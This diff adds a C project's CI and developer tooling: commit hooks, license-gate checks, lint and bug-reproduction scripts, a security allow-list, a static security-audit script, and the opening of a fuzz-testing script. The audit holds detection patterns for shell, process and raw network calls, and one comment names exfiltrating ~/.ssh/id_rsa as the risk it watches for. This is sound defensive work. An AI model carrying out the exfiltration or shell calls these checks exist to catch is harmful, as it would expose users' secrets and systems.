@@ -0,0 +1,18 @@
#!/bin/sh
# commit-msg hook — STRICT DCO enforcement at commit time.
# Every commit must carry a Signed-off-by trailer (git commit -s).
# Install with: scripts/install-git-hooks.sh
if grep -qE '^Signed-off-by: .+ <.+@.+>' "$1"; then
exit 0
fi
echo "" >&2
echo "COMMIT REJECTED: missing Signed-off-by trailer (Developer Certificate of Origin)." >&2
echo "" >&2
echo " Sign your commit: git commit -s" >&2
echo " Fix the last commit: git commit --amend -s" >&2
echo "" >&2
echo "The sign-off certifies you have the right to submit this code under the" >&2
echo "project's MIT license — see the DCO file and CONTRIBUTING.md." >&2
exit 1
+16
View File
@@ -0,0 +1,16 @@
#!/usr/bin/env bash
set -euo pipefail
# Pre-commit hook: linters + security audit + build + tests.
#
# Activated automatically via scripts/setup.sh or manually:
# git config core.hooksPath scripts/hooks
echo "pre-commit: running all linters in parallel..."
make -j3 -f Makefile.cbm lint
echo "pre-commit: security audit (source-level)..."
scripts/security-audit.sh
echo "pre-commit: building and running tests..."
make -j$(sysctl -n hw.ncpu 2>/dev/null || nproc) -f Makefile.cbm test
+11
View File
@@ -0,0 +1,11 @@
#!/usr/bin/env bash
set -euo pipefail
# Install the repo's git hooks into .git/hooks (local, per-clone).
# Currently: commit-msg (strict DCO sign-off enforcement).
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
HOOKS_DIR="$(git -C "$ROOT" rev-parse --git-path hooks)"
install -m 755 "$ROOT/scripts/git-hooks/commit-msg" "$HOOKS_DIR/commit-msg"
echo "installed: $HOOKS_DIR/commit-msg (DCO sign-off required on every commit)"
+109
View File
@@ -0,0 +1,109 @@
#!/usr/bin/env python3
"""License-gate check for the graph-UI npm production dependency tree.
Usage: license-gate-check-npm.py <graph-ui-dir> <license-policy.json>
Walks the production tree (the packages whose code is compiled into the UI
bundle; platform-restricted native build tooling is excluded the same way
gen-ui-licenses.py excludes it) and fails if ANY package's license is not
on the policy allow-list. Packages with no declared license fall back to
the first line of their shipped license file; if that cannot be resolved
either, the gate fails — unknown is not allowed.
"""
import json
import os
import re
import subprocess
import sys
FILE_HEADER_MAP = {
"mit license": "MIT",
"the mit license": "MIT",
"the mit license (mit)": "MIT",
"apache license": "Apache-2.0",
"isc license": "ISC",
"bsd 2-clause license": "BSD-2-Clause",
"bsd 3-clause license": "BSD-3-Clause",
"the unlicense": "Unlicense",
}
def license_from_file(pkg_dir):
for fname in sorted(os.listdir(pkg_dir)):
if fname.upper().startswith(("LICENSE", "LICENCE", "COPYING", "UNLICENSE")):
try:
with open(os.path.join(pkg_dir, fname), encoding="utf-8",
errors="replace") as fh:
first = fh.readline().strip().lower()
return FILE_HEADER_MAP.get(first)
except OSError:
return None
return None
def collect(ui_dir, dep_tree, out):
for name, info in (dep_tree or {}).items():
version = info.get("version")
if not version:
continue
pkg_dir = os.path.join(ui_dir, "node_modules", *name.split("/"))
try:
with open(os.path.join(pkg_dir, "package.json"), encoding="utf-8") as fh:
meta = json.load(fh)
except (OSError, ValueError):
continue
if meta.get("os") or meta.get("cpu"):
continue # platform-restricted native build tooling, not bundled
lic = meta.get("license", "")
if isinstance(lic, dict):
lic = lic.get("type", "")
out[(name, version)] = (str(lic or ""), pkg_dir)
collect(ui_dir, info.get("dependencies"), out)
def main():
ui_dir, policy_path = sys.argv[1], sys.argv[2]
with open(policy_path) as fh:
policy = json.load(fh)
allowed = {x.lower() for x in policy["allowed_spdx_ids"]}
ignored_pkgs = set(policy.get("ignored_npm_packages", []))
skip_tokens = {"and", "or", "with", ""}
# shell=True so the npm shim resolves on every platform (npm.cmd on
# Windows is not found by bare-name exec). Constant command, no injection.
ls = subprocess.run("npm ls --omit=dev --all --json",
shell=True, cwd=ui_dir, capture_output=True, text=True, check=False)
tree = json.loads(ls.stdout or "{}")
pkgs = {}
collect(ui_dir, tree.get("dependencies"), pkgs)
if not pkgs:
print("FAIL: npm production tree resolved to zero packages — "
"is node_modules installed?")
sys.exit(1)
violations = []
for (name, version), (lic, pkg_dir) in sorted(pkgs.items()):
if name in ignored_pkgs:
continue
if not lic:
lic = license_from_file(pkg_dir) or ""
if not lic:
violations.append((f"{name}@{version}", "no resolvable license"))
continue
for tok in re.split(r"[\s()]+", lic):
if tok.lower() in skip_tokens:
continue
if tok.lower() not in allowed:
violations.append((f"{name}@{version}", lic))
break
if violations:
print("BLOCKED: %d UI package(s) outside the license allow-list:" % len(violations))
for pkg, lic in violations[:25]:
print(f" {pkg}: {lic}")
sys.exit(1)
print(f"OK: {len(pkgs)} bundled npm packages, all allow-listed")
if __name__ == "__main__":
main()
+53
View File
@@ -0,0 +1,53 @@
#!/usr/bin/env python3
"""License-gate policy check over a ScanCode Toolkit JSON scan.
Usage: license-gate-check.py <scan.json> <license-policy.json>
Fails (exit 1) if ANY scanned file carries a detected license expression
containing an SPDX id outside the policy allow-list — one finding is enough.
"""
import json
import re
import sys
def main():
scan_path, policy_path = sys.argv[1], sys.argv[2]
with open(policy_path) as fh:
policy = json.load(fh)
allowed = {x.lower() for x in policy["allowed_spdx_ids"]}
ignored_paths = tuple(policy.get("ignored_paths", []))
skip_tokens = {"and", "or", "with", ""}
with open(scan_path) as fh:
scan = json.load(fh)
violations = []
checked = 0
for f in scan.get("files", []):
path = f.get("path", "?")
if f.get("type") != "file":
continue
if ignored_paths and path.startswith(ignored_paths):
continue
expr = f.get("detected_license_expression_spdx")
if not expr:
continue
checked += 1
for tok in re.split(r"[\s()]+", expr):
if tok.lower() in skip_tokens:
continue
if tok.lower() not in allowed:
violations.append((path, expr, tok))
break
if violations:
print("BLOCKED: %d file(s) with non-allow-listed license detections:" % len(violations))
for path, expr, tok in violations[:25]:
print(" %s: '%s' (offending id: %s)" % (path, expr, tok))
sys.exit(1)
print("OK: %d detection(s), all allow-listed" % checked)
if __name__ == "__main__":
main()
+124
View File
@@ -0,0 +1,124 @@
#!/usr/bin/env bash
set -euo pipefail
# CI license-compliance gate (runs in the security workflow for both dry
# runs and releases). Two layers:
# 1) Structural: every vendored component directory must physically carry
# a license file.
# 2) ScanCode Toolkit license detection over every vendored license text
# and all first-party sources; ONE detection outside
# scripts/license-policy.json fails the gate (see license-gate-check.py).
#
# Grammar parser bodies (generated parser.c, no headers) are excluded from
# the ScanCode pass for runtime; their per-directory license files ARE
# scanned, and layer 1 guarantees each grammar carries one.
#
# Requires: scancode (pipx install scancode-toolkit), python3.
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
# --selftest: plant a violation and assert the structural layer catches it.
# Run in CI before the real gate so a silently-broken gate cannot pass.
if [ "${1:-}" = "--selftest" ]; then
TESTDIR="$ROOT/vendored/.gate-selftest-$$"
mkdir -p "$TESTDIR"
echo "int x;" > "$TESTDIR/x.c"
# The child gate exits 1 on the planted violation (that is the point) —
# capture its output first so pipefail cannot mask the grep result.
GATE_OUT="$("$0" 2>/dev/null || true)"
rm -rf "$TESTDIR"
if printf '%s' "$GATE_OUT" | grep -q "BLOCKED: vendored code in .*gate-selftest"; then
echo "OK: gate self-test — planted violation was detected"
exit 0
fi
echo "FAIL: gate self-test — planted unlicensed file was NOT detected"
exit 1
fi
echo "=== License gate 1/2: structural coverage ==="
# Rule: every directory under either vendored tree that contains source or
# data files must have a license file in itself or an ancestor directory
# WITHIN the vendored tree. No hardcoded component list — newly vendored
# code with no license is flagged immediately.
MISS=0
has_license_dir() {
ls "$1" 2>/dev/null | grep -qiE '^(LICENSE|LICENCE|COPYING|UNLICENSE|NOTICE)'
}
for root in vendored internal/cbm/vendored; do
find "$root" -type f \
\( -name '*.c' -o -name '*.h' -o -name '*.cpp' -o -name '*.hpp' \
-o -name '*.S' -o -name '*.bin' -o -name '*.txt' \) \
! -iname 'LICENSE*' ! -iname 'COPYING*' ! -iname 'NOTICE*' \
-exec dirname {} \; | LC_ALL=C sort -u | while IFS= read -r d; do
cur="$d"
covered=1
while :; do
if has_license_dir "$cur"; then
covered=0
break
fi
[ "$cur" = "$root" ] && break
cur="$(dirname "$cur")"
done
if [ $covered -ne 0 ]; then
echo "BLOCKED: vendored code in $d has no license file in itself or any ancestor within $root/"
fi
done > /tmp/license-gate-structural.$$
if [ -s /tmp/license-gate-structural.$$ ]; then
cat /tmp/license-gate-structural.$$
MISS=1
fi
rm -f /tmp/license-gate-structural.$$
done
if [ $MISS -ne 0 ]; then
echo "=== LICENSE GATE FAILED (structural) ==="
exit 1
fi
echo "OK: every vendored source directory is covered by a license file"
echo "=== License gate 2/2: ScanCode detection ==="
if ! command -v scancode &>/dev/null; then
echo "FAIL: scancode not installed (pipx install scancode-toolkit)"
exit 1
fi
STAGE="$(mktemp -d)"
trap 'rm -rf "$STAGE"' EXIT
# Inputs: all vendored license/notice texts + all first-party sources.
find vendored internal/cbm/vendored -type f \
\( -iname 'LICENSE*' -o -iname 'COPYING*' -o -iname 'NOTICE*' -o -iname 'UNLICENSE*' \) \
> "$STAGE/files.txt"
find src pkg scripts -type f \
\( -name '*.c' -o -name '*.h' -o -name '*.sh' -o -name '*.js' \
-o -name '*.py' -o -name '*.rb' -o -name '*.toml' -o -name '*.json' \) \
>> "$STAGE/files.txt"
mkdir -p "$STAGE/tree"
tar cf - -T "$STAGE/files.txt" | tar xf - -C "$STAGE/tree"
scancode --license --quiet --processes 2 --json-pp "$STAGE/scan.json" "$STAGE/tree" \
> "$STAGE/scancode.log" 2>&1 || {
echo "FAIL: scancode run failed:"
tail -20 "$STAGE/scancode.log"
exit 1
}
python3 scripts/license-gate-check.py "$STAGE/scan.json" scripts/license-policy.json
echo "=== License gate 3/3: UI npm production tree ==="
# The -ui binaries embed the compiled frontend bundle; its production
# dependency tree must be allow-listed too. --ignore-scripts: no dependency
# postinstall code runs inside the security job.
if command -v npm &>/dev/null && [ -f graph-ui/package-lock.json ]; then
if [ ! -d graph-ui/node_modules ]; then
(cd graph-ui && npm ci --ignore-scripts --silent)
fi
python3 scripts/license-gate-check-npm.py graph-ui scripts/license-policy.json
else
echo "FAIL: npm or graph-ui/package-lock.json unavailable — UI tree unchecked"
exit 1
fi
echo "=== License gate passed ==="
+28
View File
@@ -0,0 +1,28 @@
{
"_comment": "License allow-list for the CI license gate (scripts/license-gate.sh). A single detected SPDX id outside this list fails the pipeline. Additions to this list are deliberate, reviewed changes \u2014 never add copyleft (GPL/LGPL/AGPL/EPL/SSPL) without a maintainer decision.",
"allowed_spdx_ids": [
"MIT",
"MIT-0",
"Apache-2.0",
"BSD-2-Clause",
"BSD-3-Clause",
"0BSD",
"ISC",
"Zlib",
"Unlicense",
"CC0-1.0",
"blessing",
"LLVM-exception",
"LicenseRef-scancode-public-domain",
"LicenseRef-scancode-public-domain-disclaimer"
],
"_ignored_paths_comment": "Path prefixes (relative to the staged scan tree) excluded from the gate. Use ONLY for documented false positives. Justifications: the license tooling itself (gate scripts + this policy file) necessarily names prohibited licenses; gen-third-party-notices.sh echoes license terminology; audit-license-provenance.py names licenses in its verdict maps; src/discover/discover.c contains a license-FILENAME classification list (LICENSE-MIT, LICENSE-APACHE, ...) for file discovery, which ScanCode reads as license references.",
"ignored_paths": [
"tree/scripts/license-policy.json",
"tree/scripts/license-gate-check.py",
"tree/scripts/license-gate.sh",
"tree/scripts/gen-third-party-notices.sh",
"tree/src/discover/discover.c",
"tree/scripts/audit-license-provenance.py"
]
}
+46
View File
@@ -0,0 +1,46 @@
#!/usr/bin/env bash
# lint.sh — Run all linters (clang-tidy + cppcheck + clang-format).
#
# Usage:
# scripts/lint.sh # All 3 linters
# scripts/lint.sh CLANG_FORMAT=clang-format-20 # Override formatter
# scripts/lint.sh --ci # CI mode (skip clang-tidy)
#
# This script is the SINGLE source of truth for linting.
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
# shellcheck source=env.sh
source "$ROOT/scripts/env.sh"
# Check for --ci flag (skip clang-tidy for platforms without it)
CI_ONLY=false
MAKE_ARGS=()
for arg in "$@"; do
if [ "$arg" = "--ci" ]; then
CI_ONLY=true
else
MAKE_ARGS+=("$arg")
fi
done
print_env "lint.sh"
# No-skips policy: every test must pass or fail. The only tolerable skip is a
# genuinely platform-specific test (SKIP_PLATFORM / #ifdef). Runs in both modes.
echo "=== no-skips policy (tests pass or fail) ==="
bash "$ROOT/scripts/check-no-test-skips.sh"
if $CI_ONLY; then
echo "=== CI mode: cppcheck + clang-format ==="
make -j2 -f Makefile.cbm lint-ci "${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}"
echo "=== CI linters passed ==="
else
echo "=== Full lint: clang-tidy + cppcheck + clang-format ==="
make -j3 -f Makefile.cbm lint "${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}"
fi
echo "=== All linters passed ==="
File diff suppressed because it is too large Load Diff
+72
View File
@@ -0,0 +1,72 @@
#!/usr/bin/env bash
# repro.sh — Build + run the cumulative BUG-REPRODUCTION suite (test-repro).
#
# Unlike test.sh (the gating suite, must be GREEN), this suite is RED by design:
# every case reproduces an open bug. So we distinguish two outcomes:
# - BUILD/LINK failure → real breakage → exit non-zero (fail the CI job).
# - Test redness → EXPECTED → report the count, exit 0 (green board).
#
# Usage: scripts/repro.sh [CC=clang] [CXX=clang++] [--arch arm64|x86_64]
set -uo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
# --arch before sourcing env.sh (mirrors test.sh)
prev_arg=""
for arg in "$@"; do
case "$arg" in
arm64|x86_64) [[ "$prev_arg" == "--arch" ]] && export CBM_ARCH="$arg" ;;
--arch=*) export CBM_ARCH="${arg#--arch=}" ;;
esac
prev_arg="$arg"
done
# shellcheck source=env.sh
source "$ROOT/scripts/env.sh"
MAKE_ARGS=""
for arg in "$@"; do
case "$arg" in
CC=*|CXX=*) export "${arg?}" ;;
--arch|--arch=*|arm64|x86_64) ;;
*=*) MAKE_ARGS="$MAKE_ARGS $arg" ;;
esac
done
print_env "repro.sh"
verify_compiler "$CC"
OUT="$ROOT/repro-out.txt"
# A RED reproduction fails its assertion and returns EARLY — before any cleanup —
# so LeakSanitizer would flag benign harness leaks on every red store-level test
# and abort. The board's signal is the FAIL rows, not leak-cleanliness (the leak
# BUG #581 gets a dedicated RSS-growth test, not LSan). Disable leak detection
# only; ASan's real checks (use-after-free, overflow) stay ON.
export ASAN_OPTIONS="detect_leaks=0${ASAN_OPTIONS:+:$ASAN_OPTIONS}"
# test-repro both builds and runs the runner; tolerate its non-zero (red) exit.
set +e
make -j"$NPROC" -f Makefile.cbm test-repro $MAKE_ARGS 2>&1 | tee "$OUT"
set -e
# The runner prints a "<N> passed[, <M> failed]" summary line only if it actually
# ran. No summary line ⇒ the build/link failed ⇒ real breakage.
if ! grep -qE '[0-9]+ passed' "$OUT"; then
echo "::error::bug-repro runner did not execute — build or link failure"
exit 1
fi
reproduced=$(grep -oE '[0-9]+ failed' "$OUT" | head -1 | grep -oE '[0-9]+' || echo 0)
green=$(grep -oE '[0-9]+ passed' "$OUT" | head -1 | grep -oE '[0-9]+' || echo 0)
{
echo "## Bug-reproduction board — ${OS:-$(uname -s)} ${ARCH:-}"
echo ""
echo "- **${reproduced}** open bug(s) still reproduced (RED — expected)"
echo "- **${green}** case(s) PASSING — candidate-fixed → verify + close the issue + promote the guard to the gating suite"
} >> "${GITHUB_STEP_SUMMARY:-/dev/stderr}"
echo "=== bug-repro board: ${reproduced} reproduced (RED), ${green} passing (candidate-fixed) ==="
# Green board: the suite ran. Redness is the data, not a job failure.
exit 0
+59
View File
@@ -0,0 +1,59 @@
# Security allow-list for dangerous function calls.
# Format: file:function:justification
# Lines starting with # are comments. Empty lines are ignored.
# Any call to a listed function in a .c file under src/ that is NOT on this
# list causes the security audit (scripts/security-audit.sh) to fail.
# ── Foundation: platform abstraction (defines cbm_popen wrapper + shell-free exec) ──
src/foundation/compat_fs.c:popen:cbm_popen wrapper definition (POSIX)
src/foundation/compat_fs.c:cbm_popen:cbm_popen function definition
src/foundation/compat_fs.c:fork:cbm_exec_no_shell — fork+execvp for shell-free subprocess execution
src/foundation/subprocess.c:fork:cbm_run_posix — fork+execv for the crash/hang-isolating index worker (supervisor primitive; child execs immediately, no code runs in the forked image)
src/foundation/compat_fs.c:execvp:cbm_exec_no_shell — direct exec without shell interpretation
# ── CLI: update command (user-initiated, interactive) ──────────────────────
src/cli/cli.c:cbm_popen:sha256 checksum verification (update cmd)
src/cli/cli.c:cbm_popen:pgrep for kill_other_instances (hardcoded process name)
src/cli/cli.c:popen:sha256 checksum computation via shasum
# ── Watcher: git status polling (repo paths validated via cbm_validate_shell_arg) ──
src/watcher/watcher.c:system:git repo detection (is_git_repo)
src/watcher/watcher.c:cbm_popen:git HEAD hash (git_head)
src/watcher/watcher.c:cbm_popen:git working tree status (git_is_dirty)
src/watcher/watcher.c:cbm_popen:git file count (git_file_count)
src/watcher/watcher.c:popen:via cbm_popen wrapper calls
# ── Git context: git metadata resolution (repo paths validated via cbm_validate_shell_arg) ──
src/git/git_context.c:cbm_popen:git rev-parse/symbolic-ref/merge-base metadata lookup
src/git/git_context.c:popen:via cbm_popen wrapper call
# ── MCP server: search and change detection ────────────────────────────────
src/mcp/mcp.c:cbm_popen:search_code via grep (pattern in temp file, path validated)
src/mcp/mcp.c:cbm_popen:detect_changes via git diff (args validated)
src/mcp/mcp.c:cbm_popen:git ls-files count for auto-index (session_root validated)
src/mcp/mcp.c:cbm_popen:update check to api.github.com (hardcoded URL)
src/mcp/mcp.c:popen:via cbm_popen wrapper calls
# ── Pipeline: git history parsing (git log) ────────────────────────────────
src/pipeline/pass_githistory.c:cbm_popen:git log for file history (path validated)
src/pipeline/pass_githistory.c:popen:via cbm_popen wrapper call
# ── Pipeline: artifact persistence (git HEAD hash, merge driver config) ────
src/pipeline/artifact.c:cbm_popen:git rev-parse HEAD for artifact metadata (hardcoded cmd)
src/pipeline/artifact.c:cbm_popen:git config merge.ours.driver for gitattributes (hardcoded cmd)
src/pipeline/artifact.c:popen:via cbm_popen wrapper calls
# ── UI: HTTP server process management ─────────────────────────────────────
src/ui/http_server.c:popen:ps process listing for metrics endpoint
src/ui/http_server.c:fork:spawn indexing subprocess
src/ui/http_server.c:execl:exec indexing binary in child process
# ── Allowed URLs ───────────────────────────────────────────────────────────
# Format: URL:justification
URL:https://api.github.com/repos/DeusData/codebase-memory-mcp/releases/latest:update check
URL:https://github.com/DeusData/codebase-memory-mcp/releases/latest/download:binary download + checksums
URL:https://github.com/DeusData/codebase-memory-mcp/releases/latest:version check via redirect header
URL:http://127.0.0.1:UI server binding (localhost only)
URL:https://www.sqlite.org/c3ref/c_checkpoint_full.html:sqlite WAL checkpoint API doc reference (comment only, not a network call)
URL:https://github.com/DeusData/codebase-memory-mcp:project repository self-reference in update/star notice (src/mcp/mcp.c)
URL:https://%s:GitHub blob-URL construction in src/ui/http_server.c cbm_ui_git_web_base — https-forces the repo web base for frontend deep-links (not a network call)
+302
View File
@@ -0,0 +1,302 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 1: Static security audit — scans C source for dangerous calls.
# Every occurrence must be on the checked-in allow-list.
#
# Usage: scripts/security-audit.sh
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
ALLOWLIST="$ROOT/scripts/security-allowlist.txt"
if [[ ! -f "$ALLOWLIST" ]]; then
echo "FAIL: allow-list not found: $ALLOWLIST"
exit 1
fi
# Use a flag file to communicate failures from subshells
FAIL_FLAG=$(mktemp)
echo "0" > "$FAIL_FLAG"
trap 'rm -f "$FAIL_FLAG"' EXIT
fail() {
echo "1" > "$FAIL_FLAG"
}
# ── 1. Dangerous function calls ─────────────────────────────────
echo "=== Layer 1: Static Security Audit ==="
echo ""
echo "--- Scanning for dangerous function calls ---"
# For each file:function pair on the allow-list, the file is allowed to contain
# that function. Any file:function NOT on the list causes failure.
FUNC_LIST="system popen cbm_popen execl fork"
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
for func in $FUNC_LIST; do
# Build precise grep pattern to avoid substring matches:
# 'popen(' must NOT match 'cbm_popen(' — use [^a-z] negative class
case "$func" in
cbm_popen) pattern="cbm_popen(" ;;
popen) pattern="[^a-z]popen(" ;;
system) pattern="[^a-z_]system(" ;;
fork) pattern="[^a-z_]fork(" ;;
*) pattern="[^a-z_]${func}(" ;;
esac
# Grep for pattern, excluding comments and #define lines
if grep -n "$pattern" "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' > /dev/null 2>&1; then
if ! grep -q "^${relfile}:${func}:" "$ALLOWLIST" 2>/dev/null; then
echo "BLOCKED: ${relfile}: contains ${func}() — not on allow-list"
grep -n "$pattern" "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | head -3 | sed 's/^/ /'
fail
fi
fi
done
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
# ── 1b. Raw network calls (must not exist) ──────────────────────
#
# The graph-UI HTTP server (src/ui/httpd.c) is the one component that owns a
# listening socket. It is first-party, binds 127.0.0.1 only, and is audited
# separately by scripts/security-ui.sh (binding + CORS checks), so it is
# exempt from this scan. No other source file may make raw network calls.
echo ""
echo "--- Scanning for raw network calls (must not exist) ---"
NETWORK_FUNCS='[^a-z_]connect\(|[^a-z_]socket\(|[^a-z_]sendto\('
if grep -rn -E "$NETWORK_FUNCS" "$ROOT/src/" --include='*.c' 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v 'test' | grep -v 'src/ui/httpd.c'; then
echo "BLOCKED: Raw network calls found in src/."
fail
else
echo "OK: No raw network calls outside the graph-UI server."
fi
# ── 2. Hardcoded URLs in string literals ─────────────────────────
echo ""
echo "--- Scanning for hardcoded URLs ---"
# Extract allowed URL prefixes from the allow-list
# Format: URL:<url>:<justification>
ALLOWED_URLS=()
while IFS= read -r line; do
[[ "$line" =~ ^#.*$ ]] && continue
[[ -z "$line" ]] && continue
if [[ "$line" =~ ^URL: ]]; then
rest="${line#URL:}"
# Extract URL (scheme://host/path) — stop at first colon that follows a non-slash
if [[ "$rest" =~ ^(https?://[^[:space:]]+) ]]; then
# The URL part extends until the justification separator
# Use the fact that justifications follow the pattern ":word word"
url_part="${BASH_REMATCH[1]}"
# Remove trailing justification after last colon that precedes a space
url_part="${url_part%%:[A-Za-z]*}"
ALLOWED_URLS+=("$url_part")
fi
fi
done < "$ALLOWLIST"
URL_OK=true
# Non-functional URL patterns to skip (comments, placeholders, comparisons, patterns)
is_placeholder_url() {
local url="$1"
case "$url" in
# Placeholder/example URLs in comments and code
https://host/*|http://host/*) return 0 ;;
https://...*|http://...*) return 0 ;;
# Protocol prefix comparisons (strncmp, mg_match)
http://) return 0 ;;
https://) return 0 ;;
# mg_match glob patterns with wildcards
http://localhost:*) return 0 ;;
http://127.0.0.1:*) return 0 ;;
esac
return 1
}
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
# Find lines with URLs (excluding comments)
while IFS= read -r match; do
[[ -z "$match" ]] && continue
# Skip lines that are clearly comments (/* ... */ or // ...)
line_content="${match#*:}" # Remove line number prefix
# Skip if the URL appears only in a comment on this line
if echo "$line_content" | grep -qE '^\s*/[/*]'; then
continue
fi
# Extract URLs using grep -oE (POSIX-compatible)
while IFS= read -r url; do
[[ -z "$url" ]] && continue
# Skip non-functional placeholder URLs
if is_placeholder_url "$url"; then
continue
fi
allowed=false
for aurl in "${ALLOWED_URLS[@]+"${ALLOWED_URLS[@]}"}"; do
if [[ "$url" == "$aurl"* ]]; then
allowed=true
break
fi
done
if ! $allowed; then
echo "BLOCKED: ${relfile}: URL not on allow-list: $url"
fail
URL_OK=false
fi
done < <(echo "$match" | grep -oE 'https?://[A-Za-z0-9._/~:@!$&()*+,;=?#%-]+' || true)
done < <(grep -n 'https\?://' "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' || true)
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
if $URL_OK; then
echo "OK: All URLs are on the allow-list."
fi
# ── 3. File writes outside expected paths ────────────────────────
echo ""
echo "--- Scanning for unexpected file writes in src/ ---"
FOPEN_FOUND=false
while IFS= read -r match; do
[[ -z "$match" ]] && continue
file=$(echo "$match" | cut -d: -f1)
relfile="${file#"$ROOT/"}"
case "$relfile" in
src/cli/cli.c|src/store/store.c|src/pipeline/*.c|src/foundation/log.c|src/foundation/diagnostics.c|src/ui/http_server.c|src/ui/config.c|src/mcp/mcp.c)
;; # Known safe (diagnostics.c: atomic .tmp+rename metrics dump to configured path)
*)
echo "REVIEW: ${match}"
echo " -> Unexpected fopen(\"w\") in ${relfile}"
FOPEN_FOUND=true
;;
esac
done < <(grep -rn 'fopen.*"w' "$ROOT/src/" --include='*.c' 2>/dev/null | grep -v '/test' | grep -v '^\s*//' || true)
if ! $FOPEN_FOUND; then
echo "OK: All file writes are in expected locations."
fi
# ── 4. Time-bomb pattern detection ────────────────────────────────
# Scan for time/clock/sleep near dangerous calls — could indicate
# code that activates malicious behavior after a delay or date.
echo ""
echo "--- Scanning for time-bomb patterns ---"
TIMEBOMB_FOUND=false
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
# Extract line numbers of dangerous calls
DANGER_LINES=$(grep -n 'system(\|popen(\|cbm_popen(\|connect(\|execl(' "$file" 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' \
| cut -d: -f1 || true)
[ -z "$DANGER_LINES" ] && continue
# For each dangerous call, check if time/clock/sleep appears within 10 lines
for dline in $DANGER_LINES; do
start=$((dline > 10 ? dline - 10 : 1))
end=$((dline + 10))
NEARBY=$(sed -n "${start},${end}p" "$file" 2>/dev/null \
| grep -E 'time\(|clock\(|sleep\(|nanosleep\(|usleep\(' \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v 'timeout' | grep -v 'elapsed' || true)
if [ -n "$NEARBY" ]; then
echo "REVIEW: ${relfile}:${dline}: time-related call near dangerous function"
echo " $NEARBY"
TIMEBOMB_FOUND=true
fi
done
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
if ! $TIMEBOMB_FOUND; then
echo "OK: No suspicious time-bomb patterns found."
fi
# ── 5. MCP tool handler file read audit ──────────────────────────
# The MCP server (mcp.c) handles tool calls that return data to the
# client. A malicious PR could add file reads that exfiltrate sensitive
# data (e.g., ~/.ssh/id_rsa) through the normal tool response channel.
# Track all file-reading functions in mcp.c against an allow-list.
echo ""
echo "--- Scanning MCP tool handlers for file reads ---"
MCP_FILE="$ROOT/src/mcp/mcp.c"
MCP_READS_OK=true
if [ -f "$MCP_FILE" ]; then
# Known safe file reads in mcp.c (with line-range context)
# - search_code: writes pattern to tmpfile, reads grep output
# - get_code_snippet: reads source via read_file_lines (path-contained)
# - manage_adr: reads/writes ADR files
# - detect_changes: reads git diff output
# - update check: reads the version-check HTTP response (fixed buffer)
# - HTTP transport: reads the incoming request body (content-length bound)
# Count fopen/fread calls and compare against expected
FOPEN_COUNT=$(grep -c 'fopen\|fread\|read_file' "$MCP_FILE" 2>/dev/null || echo "0")
# Update this when legitimate reads are added. 13 reads audited as of the
# search/ADR/Windows-support commits — all path-contained or transport
# reads, no new exfiltration surface.
EXPECTED_MAX=13
if [ "$FOPEN_COUNT" -gt "$EXPECTED_MAX" ]; then
echo "REVIEW: src/mcp/mcp.c has $FOPEN_COUNT file read operations (expected max $EXPECTED_MAX)"
echo " New file reads in MCP tool handlers must be reviewed for data exfiltration risk."
MCP_READS_OK=false
fi
fi
if $MCP_READS_OK; then
echo "OK: MCP tool handler file reads within expected count."
fi
# ── 6. GitHub Actions pinned to SHA ───────────────────────────────
# Mutable tags (@v4) can be moved by compromised maintainers.
# All Actions must be pinned to full commit SHAs.
echo ""
echo "--- Scanning for unpinned GitHub Actions ---"
UNPINNED_FOUND=false
if [ -d "$ROOT/.github/workflows" ]; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
# Only check files tracked by git (skip stale untracked files)
git ls-files --error-unmatch "$file" > /dev/null 2>&1 || continue
while IFS= read -r match; do
[[ -z "$match" ]] && continue
echo "BLOCKED: ${relfile}: ${match}"
echo " -> Pin to SHA: uses: owner/action@<commit-sha> # version"
fail
UNPINNED_FOUND=true
done < <(grep -nE 'uses:.*@v[0-9]' "$file" 2>/dev/null || true)
done < <(find "$ROOT/.github/workflows" -name '*.yml' -type f | sort)
fi
if ! $UNPINNED_FOUND; then
echo "OK: All GitHub Actions pinned to commit SHAs."
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
RESULT=$(cat "$FAIL_FLAG")
if [[ "$RESULT" != "0" ]]; then
echo "=== SECURITY AUDIT FAILED ==="
echo "Fix the issues above or add entries to scripts/security-allowlist.txt with justifications."
exit 1
fi
echo "=== Security audit passed ==="
+168
View File
@@ -0,0 +1,168 @@
#!/usr/bin/env bash
set -euo pipefail
# Fuzz testing: feeds random/mutated inputs to the MCP server and CLI
# to find crashes, hangs, and memory errors. Runs for a limited time.
#
# Usage: scripts/security-fuzz-random.sh <binary-path> [duration_seconds]
BINARY="${1:?usage: security-fuzz-random.sh <binary-path> [duration_seconds]}"
DURATION="${2:-60}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Fuzz Testing ($DURATION seconds) ==="
FUZZ_TMPDIR=$(mktemp -d)
trap 'rm -rf "$FUZZ_TMPDIR"' EXIT
CRASHES=0
ITERATIONS=0
END_TIME=$((SECONDS + DURATION))
# Portable timeout
run_with_timeout() {
local secs="$1"; shift
if command -v timeout &>/dev/null; then
timeout "$secs" "$@" || true
else
perl -e "alarm($secs); exec @ARGV" -- "$@" || true
fi
}
# ── Phase 1: Random JSON-RPC mutations ───────────────────────
echo ""
echo "--- Phase 1: Random JSON-RPC mutations ---"
